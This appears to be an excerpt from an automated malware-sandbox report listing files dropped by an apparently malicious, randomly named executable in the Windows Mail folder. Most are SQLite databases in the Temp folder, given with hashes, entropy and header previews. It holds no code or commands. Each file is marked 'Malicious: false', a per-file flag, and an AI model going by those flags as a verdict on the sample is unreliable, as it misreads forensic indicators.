Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k1EJDpBIiv

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kPBLIbvlYE

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kVsxp57TlV

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kZ6ALiY7o5

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kgZepKVatz

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\l9qFLrHMer

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lFF72SUz4N

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lsF8BP2fu2

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mHyfwzMmgY

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mUbcRywTHy

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n1dEH0b7eF

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n26S1cO1Tj

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nDmWUxLeSd

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\no6tUFVlRQ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nx3M6hUfVZ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nxLXcW5cAh

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oTY7jjmBMh

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\odrH4n4HeF

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.103465189601646
Encrypted:	false
SSDEEP:	3:2tHQ8dm:I/U
MD5:	67FAB48CD9F7D96AD2F1A96DE834AC62
SHA1:	574484826B80C938FB581067B644E48790807EFE
SHA-256:	E5E56223C936DC4FA7E1A58E385CBF77A05B74EC3C7AEF4C2D51388E60980D56
SHA-512:	7CEFAAFB4A9744A8D6223E94301C98B0ECF31859B88B165858151636B2A2A47501E62E787DBA7CF06BD7630605B15A7959F3B23C8E5D7D7B1F349641D9530EAB
Malicious:	false
Preview:	bu5Raem6H4uXyE82Zml868N0u

C:\Users\user\AppData\Local\Temp\osiCaV5EQ2

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\p9Av8vUtJo

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pEvSLI1UIV

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pRtyQwyjFX

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qCiuzGNMYn

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qIkeNkpm3T

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qKfb1Ejjpm

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qhrLNl4RJJ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
